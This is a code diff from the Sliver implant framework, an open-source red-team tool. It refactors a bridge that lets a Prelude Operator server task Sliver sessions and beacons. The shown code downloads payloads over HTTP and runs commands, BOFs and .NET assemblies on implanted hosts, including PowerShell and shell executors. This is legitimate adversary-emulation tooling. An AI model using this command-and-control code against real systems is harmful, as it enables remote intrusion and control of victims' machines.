func (a *AgentSession) ReceiveLoop() {
|
||||
for {
|
||||
err := a.send()
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
scanner := bufio.NewScanner(*a.Conn)
|
||||
for scanner.Scan() {
|
||||
message := strings.TrimSpace(scanner.Text())
|
||||
err = a.respond(message)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (a *AgentSession) send() error {
|
||||
data, err := json.Marshal(a.Beacon)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
dataBuff := bytes.NewReader(append(util.Encrypt(data), "\n"...))
|
||||
sendBuffer := make([]byte, 1024)
|
||||
for {
|
||||
_, err := dataBuff.Read(sendBuffer)
|
||||
if err == io.EOF {
|
||||
return nil
|
||||
}
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if _, err = (*a.Conn).Write(sendBuffer); err != nil {
|
||||
return err
|
||||
}
|
||||
time.Sleep(time.Duration(a.Beacon.Sleep))
|
||||
}
|
||||
}
|
||||
|
||||
func (a *AgentSession) respond(message string) error {
|
||||
var tempBeacon Beacon
|
||||
if err := json.Unmarshal([]byte(util.Decrypt(message)), &tempBeacon); err == nil {
|
||||
a.Beacon.Links = a.Beacon.Links[:0]
|
||||
a.runLinks(&tempBeacon)
|
||||
}
|
||||
a.refreshBeacon(&a.Config)
|
||||
a.send()
|
||||
return nil
|
||||
}
|
||||
|
||||
func (a *AgentSession) runLinks(tempBeacon *Beacon) {
|
||||
for _, link := range a.Config.StartInstructions(tempBeacon.Links) {
|
||||
time.Sleep(time.Second * 1)
|
||||
var payload []byte
|
||||
if link.Payload != "" {
|
||||
payload, _ = requestPayload(link.Payload)
|
||||
}
|
||||
response, status, pid := RunCommand(link.Request, link.Executor, payload, a)
|
||||
link.Response = response
|
||||
link.Status = status
|
||||
link.Pid = pid
|
||||
a.Beacon.Links = append(a.Beacon.Links, link)
|
||||
a.Config.EndInstruction(link)
|
||||
}
|
||||
}
|
||||
|
||||
func requestPayload(target string) ([]byte, error) {
|
||||
resp, err := http.Get(target)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if resp.StatusCode != 200 {
|
||||
return nil, fmt.Errorf("invalid status code: %d", resp.StatusCode)
|
||||
}
|
||||
return ioutil.ReadAll(resp.Body)
|
||||
}
|
||||
|
||||
func (a *AgentSession) refreshBeacon(conf *AgentConfig) {
|
||||
var pwd string
|
||||
pwdResp, _ := a.RPC.Pwd(context.Background(), &sliverpb.PwdReq{
|
||||
Request: MakeRequest(a.Session),
|
||||
})
|
||||
if pwdResp != nil {
|
||||
pwd = pwdResp.Path
|
||||
}
|
||||
a.Beacon.Sleep = conf.Sleep
|
||||
a.Beacon.Range = conf.Range
|
||||
a.Beacon.Pwd = pwd
|
||||
a.Beacon.Target = conf.Address
|
||||
a.Beacon.Executing = conf.BuildExecutingHash()
|
||||
|
||||
}
|
||||
|
||||
func MakeRequest(session *clientpb.Session) *commonpb.Request {
|
||||
if session == nil {
|
||||
return nil
|
||||
}
|
||||
timeout := int64(defaultTimeout)
|
||||
return &commonpb.Request{
|
||||
SessionID: session.ID,
|
||||
Timeout: timeout,
|
||||
}
|
||||
}
|
||||
+37
-12
@@ -1,5 +1,23 @@
|
||||
package prelude
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2022 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"context"
|
||||
@@ -9,7 +27,6 @@ import (
|
||||
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/client/core"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/rpcpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
)
|
||||
@@ -25,9 +42,9 @@ type bofArgs struct {
|
||||
Value interface{} `json:"value"`
|
||||
}
|
||||
|
||||
func runBOF(session *clientpb.Session, rpc rpcpb.SliverRPCClient, bof []byte, args []bofArgs) (output string, err error) {
|
||||
if !isLoaderLoaded(session, rpc) {
|
||||
err = registerLoader(session, rpc)
|
||||
func runBOF(implant ActiveImplant, rpc rpcpb.SliverRPCClient, bof []byte, args []bofArgs, onFinishCallback func(string, int, int)) (output string, err error) {
|
||||
if !isLoaderLoaded(implant, rpc) {
|
||||
err = registerLoader(implant, rpc)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
@@ -37,6 +54,8 @@ func runBOF(session *clientpb.Session, rpc rpcpb.SliverRPCClient, bof []byte, ar
|
||||
}
|
||||
for _, a := range args {
|
||||
switch a.ArgType {
|
||||
case "integer":
|
||||
fallthrough
|
||||
case "int":
|
||||
if v, ok := a.Value.(float64); ok {
|
||||
err = bofArgs.AddInt(uint32(v))
|
||||
@@ -89,13 +108,19 @@ func runBOF(session *clientpb.Session, rpc rpcpb.SliverRPCClient, bof []byte, ar
|
||||
ServerStore: false,
|
||||
Args: extArgsBuffer,
|
||||
Export: loaderEntryPoint,
|
||||
Request: MakeRequest(session),
|
||||
Request: MakeRequest(implant),
|
||||
})
|
||||
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
// If Async req, onFinishCallback won't be nil
|
||||
if onFinishCallback != nil {
|
||||
onFinishCallback(string(extResp.Output), SuccessExitStatus, int(implant.GetPID()))
|
||||
return
|
||||
}
|
||||
|
||||
if extResp.Response != nil && extResp.Response.Err != "" {
|
||||
err = errors.New(extResp.Response.Err)
|
||||
}
|
||||
@@ -104,16 +129,16 @@ func runBOF(session *clientpb.Session, rpc rpcpb.SliverRPCClient, bof []byte, ar
|
||||
return
|
||||
}
|
||||
|
||||
func registerLoader(session *clientpb.Session, rpc rpcpb.SliverRPCClient) error {
|
||||
func registerLoader(implant ActiveImplant, rpc rpcpb.SliverRPCClient) error {
|
||||
var coffLoaderPath string
|
||||
|
||||
switch session.Arch {
|
||||
switch implant.GetArch() {
|
||||
case "amd64":
|
||||
coffLoaderPath = "COFFLoader.x64.dll"
|
||||
case "386":
|
||||
coffLoaderPath = "COFFLoader.x86.dll"
|
||||
}
|
||||
loaderPath := path.Join(assets.GetExtensionsDir(), "windows", session.Arch, coffLoaderPath)
|
||||
loaderPath := path.Join(assets.GetExtensionsDir(), coffLoaderName, coffLoaderPath)
|
||||
loaderData, err := ioutil.ReadFile(loaderPath)
|
||||
if err != nil {
|
||||
return err
|
||||
@@ -121,9 +146,9 @@ func registerLoader(session *clientpb.Session, rpc rpcpb.SliverRPCClient) error
|
||||
resp, err := rpc.RegisterExtension(context.Background(), &sliverpb.RegisterExtensionReq{
|
||||
Name: coffLoaderName,
|
||||
Data: loaderData,
|
||||
OS: session.OS,
|
||||
OS: implant.GetOS(),
|
||||
Init: "",
|
||||
Request: MakeRequest(session),
|
||||
Request: MakeRequest(implant),
|
||||
})
|
||||
if err != nil {
|
||||
return err
|
||||
@@ -134,9 +159,9 @@ func registerLoader(session *clientpb.Session, rpc rpcpb.SliverRPCClient) error
|
||||
return nil
|
||||
}
|
||||
|
||||
func isLoaderLoaded(session *clientpb.Session, rpc rpcpb.SliverRPCClient) bool {
|
||||
func isLoaderLoaded(implant ActiveImplant, rpc rpcpb.SliverRPCClient) bool {
|
||||
extList, err := rpc.ListExtensions(context.Background(), &sliverpb.ListExtensionsReq{
|
||||
Request: MakeRequest(session),
|
||||
Request: MakeRequest(implant),
|
||||
})
|
||||
if err != nil {
|
||||
return false
|
||||
|
||||
@@ -0,0 +1,206 @@
|
||||
package prelude
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2022 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"context"
|
||||
"encoding/hex"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"net"
|
||||
"net/http"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/protobuf/rpcpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/bishopfox/sliver/util"
|
||||
)
|
||||
|
||||
const (
|
||||
defaultTimeout = 60
|
||||
delim = "\r\n"
|
||||
)
|
||||
|
||||
// OperatorImplantBridge maps the Sliver implants (whether it be a beacon or a session)
|
||||
// to a Prelude Operator implant with a TCP transport.
|
||||
type OperatorImplantBridge struct {
|
||||
Conn *net.Conn
|
||||
Implant ActiveImplant
|
||||
RPC rpcpb.SliverRPCClient
|
||||
PBeacon OperatorBeacon
|
||||
BeaconCallback func(string, func(*clientpb.BeaconTask))
|
||||
Config AgentConfig
|
||||
|
||||
recv chan []byte
|
||||
send chan []byte
|
||||
}
|
||||
|
||||
func NewImplantBridge(c *net.Conn, a ActiveImplant, rpc rpcpb.SliverRPCClient, pbeacon OperatorBeacon, conf AgentConfig, callback func(string, func(*clientpb.BeaconTask))) *OperatorImplantBridge {
|
||||
return &OperatorImplantBridge{
|
||||
Conn: c,
|
||||
Implant: a,
|
||||
RPC: rpc,
|
||||
Config: conf,
|
||||
BeaconCallback: callback,
|
||||
PBeacon: pbeacon,
|
||||
recv: make(chan []byte),
|
||||
send: make(chan []byte),
|
||||
}
|
||||
}
|
||||
|
||||
func (a *OperatorImplantBridge) register() {
|
||||
data, err := json.Marshal(a.PBeacon)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
encrypted := util.Encrypt(data, []byte(a.Config.AESKey), nil)
|
||||
dataBuff := append([]byte(fmt.Sprintf("%x", encrypted)), "\n"...)
|
||||
(*a.Conn).Write(dataBuff)
|
||||
}
|
||||
|
||||
func (a *OperatorImplantBridge) ReceiveLoop() {
|
||||
a.register()
|
||||
go func() {
|
||||
for {
|
||||
data := <-a.send
|
||||
encrypted := util.Encrypt(data, []byte(a.Config.AESKey), nil)
|
||||
dataBuff := append([]byte(fmt.Sprintf("%x", encrypted)), "\n"...)
|
||||
(*a.Conn).Write(dataBuff)
|
||||
time.Sleep(time.Duration(a.PBeacon.Sleep))
|
||||
}
|
||||
}()
|
||||
for {
|
||||
scanner := bufio.NewScanner(*a.Conn)
|
||||
for scanner.Scan() {
|
||||
msg := strings.TrimSpace(scanner.Text())
|
||||
a.handleMessage(msg)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (a *OperatorImplantBridge) handleMessage(message string) {
|
||||
var tempBeacon OperatorBeacon
|
||||
decoded, err := hex.DecodeString(message)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
if err := json.Unmarshal(util.Decrypt(decoded, []byte(a.Config.AESKey)), &tempBeacon); err == nil {
|
||||
a.PBeacon.Links = a.PBeacon.Links[:0]
|
||||
a.runLinks(&tempBeacon)
|
||||
}
|
||||
}
|
||||
|
||||
func (implantBridge *OperatorImplantBridge) runLinks(tempBeacon *OperatorBeacon) {
|
||||
for _, link := range implantBridge.Config.StartInstructions(tempBeacon.Links) {
|
||||
time.Sleep(time.Second * 1)
|
||||
var payload []byte
|
||||
if link.Payload != "" {
|
||||
payload, _ = requestPayload(link.Payload)
|
||||
}
|
||||
|
||||
// If we're running on a Beacon
|
||||
if implantBridge.BeaconCallback != nil {
|
||||
RunCommand(link.Request, link.Executor, payload, implantBridge, func(response string, status int, pid int) {
|
||||
link.Response = response
|
||||
link.Status = status
|
||||
link.Pid = pid
|
||||
implantBridge.PBeacon.Links = append(implantBridge.PBeacon.Links, link)
|
||||
implantBridge.Config.EndInstruction(link)
|
||||
implantBridge.refreshBeacon()
|
||||
data, err := json.Marshal(implantBridge.PBeacon)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
implantBridge.send <- data
|
||||
})
|
||||
return
|
||||
}
|
||||
// Running on a Session
|
||||
response, status, pid := RunCommand(link.Request, link.Executor, payload, implantBridge, nil)
|
||||
link.Response = response
|
||||
link.Status = status
|
||||
link.Pid = pid
|
||||
implantBridge.PBeacon.Links = append(implantBridge.PBeacon.Links, link)
|
||||
implantBridge.Config.EndInstruction(link)
|
||||
implantBridge.refreshBeacon()
|
||||
data, err := json.Marshal(implantBridge.PBeacon)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
implantBridge.send <- data
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
func requestPayload(target string) ([]byte, error) {
|
||||
resp, err := http.Get(target)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if resp.StatusCode != 200 {
|
||||
return nil, fmt.Errorf("invalid status code: %d", resp.StatusCode)
|
||||
}
|
||||
return ioutil.ReadAll(resp.Body)
|
||||
}
|
||||
|
||||
func (a *OperatorImplantBridge) refreshBeacon() {
|
||||
var pwd string
|
||||
pwdResp, _ := a.RPC.Pwd(context.Background(), &sliverpb.PwdReq{
|
||||
Request: MakeRequest(a.Implant),
|
||||
})
|
||||
if pwdResp != nil {
|
||||
pwd = pwdResp.Path
|
||||
}
|
||||
a.PBeacon.Sleep = a.Config.Sleep
|
||||
a.PBeacon.Range = a.Config.Range
|
||||
a.PBeacon.Pwd = pwd
|
||||
a.PBeacon.Target = a.Config.Address
|
||||
a.PBeacon.Executing = a.Config.BuildExecutingHash()
|
||||
|
||||
}
|
||||
|
||||
func MakeRequest(a ActiveImplant) *commonpb.Request {
|
||||
timeout := int64(defaultTimeout)
|
||||
req := &commonpb.Request{
|
||||
Timeout: timeout,
|
||||
}
|
||||
if a == nil {
|
||||
return nil
|
||||
}
|
||||
|
||||
beacon, ok := a.(*clientpb.Beacon)
|
||||
if ok {
|
||||
req.BeaconID = beacon.ID
|
||||
req.Async = true
|
||||
return req
|
||||
}
|
||||
session, ok := a.(*clientpb.Session)
|
||||
if ok {
|
||||
req.SessionID = session.ID
|
||||
req.Async = false
|
||||
return req
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
+53
-14
@@ -2,7 +2,7 @@ package prelude
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
Copyright (C) 2022 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
@@ -24,11 +24,13 @@ import (
|
||||
"fmt"
|
||||
"strings"
|
||||
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
//RunCommand executes a given command
|
||||
func RunCommand(message string, executor string, payload []byte, agentSession *AgentSession) (string, int, int) {
|
||||
func RunCommand(message string, executor string, payload []byte, agentSession *OperatorImplantBridge, onFinish func(string, int, int)) (string, int, int) {
|
||||
switch executor {
|
||||
case "keyword":
|
||||
task := splitMessage(message, '.')
|
||||
@@ -46,7 +48,25 @@ func RunCommand(message string, executor string, payload []byte, agentSession *A
|
||||
if payload == nil {
|
||||
return "missing BOF file", ErrorExitStatus, ErrorExitStatus
|
||||
}
|
||||
out, err := runBOF(agentSession.Session, agentSession.RPC, payload, bargs)
|
||||
out, err := runBOF(agentSession.Implant, agentSession.RPC, payload, bargs, onFinish)
|
||||
if err != nil {
|
||||
return err.Error(), ErrorExitStatus, ErrorExitStatus
|
||||
}
|
||||
return out, 0, 0
|
||||
case "execute-assembly":
|
||||
if len(task) < 2 {
|
||||
break
|
||||
}
|
||||
var eaargs execasmArgs
|
||||
argStr := strings.ReplaceAll(task[1], `\`, `\\`)
|
||||
err := json.Unmarshal([]byte(argStr), &eaargs)
|
||||
if err != nil {
|
||||
return err.Error(), ErrorExitStatus, ErrorExitStatus
|
||||
}
|
||||
if payload == nil {
|
||||
return "missing .NET assembly", ErrorExitStatus, ErrorExitStatus
|
||||
}
|
||||
out, err := execAsm(agentSession.Implant, agentSession.RPC, payload, eaargs, onFinish)
|
||||
if err != nil {
|
||||
return err.Error(), ErrorExitStatus, ErrorExitStatus
|
||||
}
|
||||
@@ -57,30 +77,47 @@ func RunCommand(message string, executor string, payload []byte, agentSession *A
|
||||
return "Keyword selected not available for agent", ErrorExitStatus, ErrorExitStatus
|
||||
}
|
||||
default:
|
||||
bites, status, pid := execute(message, executor, agentSession)
|
||||
bites, status, pid := execute(message, executor, agentSession, onFinish)
|
||||
return string(bites), status, pid
|
||||
}
|
||||
return "", ErrorExitStatus, ErrorExitStatus
|
||||
}
|
||||
|
||||
func execute(cmd string, executor string, agentSession *AgentSession) (string, int, int) {
|
||||
func execute(cmd string, executor string, implantBridge *OperatorImplantBridge, onFinishCallback func(string, int, int)) (string, int, int) {
|
||||
args := append(getCmdArg(executor), cmd)
|
||||
if executor == "psh" {
|
||||
executor = "powershell.exe"
|
||||
} else if executor == "exec" {
|
||||
commandSections := strings.Fields(cmd)
|
||||
executor = commandSections[0]
|
||||
args = commandSections[1:]
|
||||
}
|
||||
execResp, err := agentSession.RPC.Execute(context.Background(), &sliverpb.ExecuteReq{
|
||||
execResp, err := implantBridge.RPC.Execute(context.Background(), &sliverpb.ExecuteReq{
|
||||
Path: executor,
|
||||
Args: args,
|
||||
Output: true,
|
||||
Request: MakeRequest(agentSession.Session),
|
||||
Request: MakeRequest(implantBridge.Implant),
|
||||
})
|
||||
|
||||
if err != nil {
|
||||
return fmt.Sprintf("Error: %s\n", err.Error()), 0, 0
|
||||
return fmt.Sprintf("Error: %s\n", err.Error()), -1, -1
|
||||
}
|
||||
|
||||
// Beacon
|
||||
if execResp.Response != nil && execResp.Response.Async {
|
||||
implantBridge.BeaconCallback(execResp.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, execResp)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
onFinishCallback(string(execResp.Stdout), int(execResp.Status), int(execResp.Pid))
|
||||
})
|
||||
return "", 0, 0
|
||||
}
|
||||
|
||||
// Session
|
||||
if execResp.Response != nil && execResp.Response.Err != "" {
|
||||
return execResp.Response.Err, 0, 0
|
||||
return execResp.Response.Err, SuccessExitStatus, SuccessExitStatus
|
||||
}
|
||||
return string(execResp.Stdout), int(execResp.Status), int(execResp.Pid)
|
||||
}
|
||||
@@ -89,9 +126,11 @@ func getCmdArg(executor string) []string {
|
||||
var args []string
|
||||
switch executor {
|
||||
case "cmd":
|
||||
args = []string{"/C", "/S"}
|
||||
args = []string{"/S", "/C"}
|
||||
case "powershell", "psh":
|
||||
args = []string{"-execu", "ByPasS", "-C"}
|
||||
args = []string{"-execu", "-C"}
|
||||
case "exec":
|
||||
args = []string{}
|
||||
case "sh", "bash", "zsh":
|
||||
args = []string{"-c"}
|
||||
}
|
||||
@@ -109,13 +148,13 @@ func splitMessage(message string, splitRune rune) []string {
|
||||
return values
|
||||
}
|
||||
|
||||
func shutdown(agentSession *AgentSession) (string, int, int) {
|
||||
func shutdown(agentSession *OperatorImplantBridge) (string, int, int) {
|
||||
_, err := agentSession.RPC.Kill(context.Background(), &sliverpb.KillReq{
|
||||
Force: false,
|
||||
Request: MakeRequest(agentSession.Session),
|
||||
Request: MakeRequest(agentSession.Implant),
|
||||
})
|
||||
if err != nil {
|
||||
return err.Error(), ErrorExitStatus, ErrorExitStatus
|
||||
}
|
||||
return fmt.Sprintf("Terminated %s", agentSession.Session.Name), SuccessExitStatus, SuccessExitStatus
|
||||
return fmt.Sprintf("Terminated %s", agentSession.Implant.GetID()), SuccessExitStatus, int(agentSession.Implant.GetPID())
|
||||
}
|
||||
@@ -2,7 +2,7 @@ package prelude
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
Copyright (C) 2022 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
@@ -32,7 +32,7 @@ const (
|
||||
|
||||
type Configuration interface {
|
||||
ApplyConfig(ac map[string]interface{})
|
||||
BuildBeacon() Beacon
|
||||
BuildBeacon() OperatorBeacon
|
||||
}
|
||||
|
||||
type AgentConfig struct {
|
||||
@@ -52,7 +52,7 @@ type AgentConfig struct {
|
||||
Executing map[string]Instruction
|
||||
}
|
||||
|
||||
type Beacon struct {
|
||||
type OperatorBeacon struct {
|
||||
Name string
|
||||
Target string
|
||||
Hostname string
|
||||
|
||||
@@ -0,0 +1,68 @@
|
||||
package prelude
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2022 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"errors"
|
||||
|
||||
"github.com/bishopfox/sliver/protobuf/rpcpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
)
|
||||
|
||||
type execasmArgs struct {
|
||||
IsDLL bool `json:"isDLL"`
|
||||
Process string `json:"process"`
|
||||
Arguments string `json:"arguments"`
|
||||
Architecture string `json:"architecture"`
|
||||
Method string `json:"method"`
|
||||
Class string `json:"class"`
|
||||
AppDomain string `json:"appDomain"`
|
||||
}
|
||||
|
||||
func execAsm(implant ActiveImplant, rpc rpcpb.SliverRPCClient, asm []byte, args execasmArgs, onFinishCallback func(string, int, int)) (output string, err error) {
|
||||
extResp, err := rpc.ExecuteAssembly(context.Background(), &sliverpb.ExecuteAssemblyReq{
|
||||
Request: MakeRequest(implant),
|
||||
IsDLL: args.IsDLL,
|
||||
Process: args.Process,
|
||||
Arguments: args.Arguments,
|
||||
Assembly: asm,
|
||||
Arch: args.Architecture,
|
||||
Method: args.Method,
|
||||
ClassName: args.Class,
|
||||
AppDomain: args.AppDomain,
|
||||
})
|
||||
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
// If Async req, onFinishCallback won't be nil
|
||||
if onFinishCallback != nil {
|
||||
onFinishCallback(string(extResp.Output), SuccessExitStatus, int(implant.GetPID()))
|
||||
return
|
||||
}
|
||||
|
||||
if extResp.Response != nil && extResp.Response.Err != "" {
|
||||
err = errors.New(extResp.Response.Err)
|
||||
}
|
||||
output = string(extResp.Output)
|
||||
|
||||
return
|
||||
}
|
||||
+58
-42
@@ -2,7 +2,7 @@ package prelude
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
Copyright (C) 2022 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
@@ -21,7 +21,6 @@ package prelude
|
||||
import (
|
||||
"context"
|
||||
"errors"
|
||||
"fmt"
|
||||
"net"
|
||||
"sync"
|
||||
|
||||
@@ -31,7 +30,7 @@ import (
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
)
|
||||
|
||||
var SessionMapper *PreludeSessionMapper
|
||||
var ImplantMapper *OperatorImplantMapper
|
||||
|
||||
const defaultImplantSleep = 5
|
||||
|
||||
@@ -42,30 +41,45 @@ type OperatorConfig struct {
|
||||
AESKey string
|
||||
}
|
||||
|
||||
type PreludeSessionMapper struct {
|
||||
sessions []*AgentSession
|
||||
conf *OperatorConfig
|
||||
// OperatorImplantMapper maps an OperatorConfig with
|
||||
// active Sliver implant sessions/beacons
|
||||
type OperatorImplantMapper struct {
|
||||
implantBridges []*OperatorImplantBridge
|
||||
conf *OperatorConfig
|
||||
sync.Mutex
|
||||
}
|
||||
|
||||
func InitSessionMapper(conf *OperatorConfig) *PreludeSessionMapper {
|
||||
if SessionMapper == nil {
|
||||
SessionMapper = &PreludeSessionMapper{
|
||||
sessions: make([]*AgentSession, 0),
|
||||
conf: conf,
|
||||
}
|
||||
}
|
||||
return SessionMapper
|
||||
// ActiveImplant exposes common methods between
|
||||
// Sliver clientpb.Session and clientpb.Beacon
|
||||
// that are required by Operator implants
|
||||
type ActiveImplant interface {
|
||||
GetID() string
|
||||
GetHostname() string
|
||||
GetPID() int32
|
||||
GetOS() string
|
||||
GetArch() string
|
||||
GetFilename() string
|
||||
GetReconnectInterval() int64
|
||||
}
|
||||
|
||||
func (p *PreludeSessionMapper) AddSession(s *clientpb.Session) error {
|
||||
func InitImplantMapper(conf *OperatorConfig) *OperatorImplantMapper {
|
||||
if ImplantMapper == nil {
|
||||
ImplantMapper = &OperatorImplantMapper{
|
||||
implantBridges: make([]*OperatorImplantBridge, 0),
|
||||
conf: conf,
|
||||
}
|
||||
}
|
||||
return ImplantMapper
|
||||
}
|
||||
|
||||
func (p *OperatorImplantMapper) AddImplant(a ActiveImplant, callback func(string, func(*clientpb.BeaconTask))) error {
|
||||
var pwd string
|
||||
conn, err := net.Dial("tcp", p.conf.OperatorURL)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
pwdResp, err := p.conf.RPC.Pwd(context.Background(), &sliverpb.PwdReq{
|
||||
Request: MakeRequest(s),
|
||||
Request: MakeRequest(a),
|
||||
})
|
||||
if err != nil {
|
||||
return err
|
||||
@@ -73,55 +87,57 @@ func (p *PreludeSessionMapper) AddSession(s *clientpb.Session) error {
|
||||
if pwdResp != nil {
|
||||
pwd = pwdResp.Path
|
||||
}
|
||||
// Operator implants have embedded static IDs, but we don't,
|
||||
// so to avoid having multiple sessions showing as one on the Operator
|
||||
// GUI, we need to have a unique name for them.
|
||||
// Plus, having the ID in the name will help the user to make the
|
||||
// correlation.
|
||||
sessName := fmt.Sprintf("%s-%s", s.Name, s.ID)
|
||||
beacon := Beacon{
|
||||
Name: sessName,
|
||||
|
||||
// Use a default sleep time for sessions,
|
||||
// but respect the one we have for beacons
|
||||
sleepTime := defaultImplantSleep
|
||||
if b, ok := a.(*clientpb.Beacon); ok {
|
||||
sleepTime = int(b.ReconnectInterval)
|
||||
}
|
||||
|
||||
beacon := OperatorBeacon{
|
||||
Name: a.GetID(),
|
||||
Target: p.conf.OperatorURL,
|
||||
Hostname: s.Hostname,
|
||||
Location: s.Filename,
|
||||
Platform: s.OS,
|
||||
Hostname: a.GetHostname(),
|
||||
Location: a.GetFilename(),
|
||||
Platform: a.GetOS(),
|
||||
Range: p.conf.Range,
|
||||
Executors: util.DetermineExecutors(s.OS, s.Arch),
|
||||
Executors: util.DetermineExecutors(a.GetOS(), a.GetArch()),
|
||||
Links: make([]Instruction, 0),
|
||||
Executing: "",
|
||||
Pwd: pwd,
|
||||
Sleep: defaultImplantSleep,
|
||||
Sleep: int(sleepTime),
|
||||
}
|
||||
|
||||
if p.conf.AESKey == "" {
|
||||
return errors.New("missing AES key")
|
||||
}
|
||||
a.GetID()
|
||||
encryptionKey := p.conf.AESKey
|
||||
agentConfig := AgentConfig{
|
||||
Name: sessName,
|
||||
Name: a.GetID(),
|
||||
AESKey: encryptionKey,
|
||||
Range: p.conf.Range,
|
||||
Contact: "tcp",
|
||||
Address: p.conf.OperatorURL,
|
||||
Pid: int(s.PID),
|
||||
Pid: int(a.GetPID()),
|
||||
Executing: make(map[string]Instruction),
|
||||
Sleep: defaultImplantSleep,
|
||||
Sleep: int(sleepTime),
|
||||
}
|
||||
util.EncryptionKey = &agentConfig.AESKey
|
||||
agentSession := NewAgentSession(&conn, s, p.conf.RPC, beacon, agentConfig)
|
||||
bridge := NewImplantBridge(&conn, a, p.conf.RPC, beacon, agentConfig, callback)
|
||||
p.Lock()
|
||||
p.sessions = append(p.sessions, agentSession)
|
||||
p.implantBridges = append(p.implantBridges, bridge)
|
||||
p.Unlock()
|
||||
go agentSession.ReceiveLoop()
|
||||
go bridge.ReceiveLoop()
|
||||
return nil
|
||||
}
|
||||
|
||||
func (p *PreludeSessionMapper) RemoveSession(s *clientpb.Session) (err error) {
|
||||
func (p *OperatorImplantMapper) RemoveImplant(imp ActiveImplant) (err error) {
|
||||
p.Lock()
|
||||
for _, agentSession := range p.sessions {
|
||||
if agentSession.Session.ID == s.ID {
|
||||
if agentSession.Conn != nil {
|
||||
err = (*agentSession.Conn).Close()
|
||||
for _, bridge := range p.implantBridges {
|
||||
if bridge.Implant.GetID() == imp.GetID() {
|
||||
if bridge.Conn != nil {
|
||||
err = (*bridge.Conn).Close()
|
||||
} else {
|
||||
err = errors.New("connection is nil")
|
||||
}
|
||||
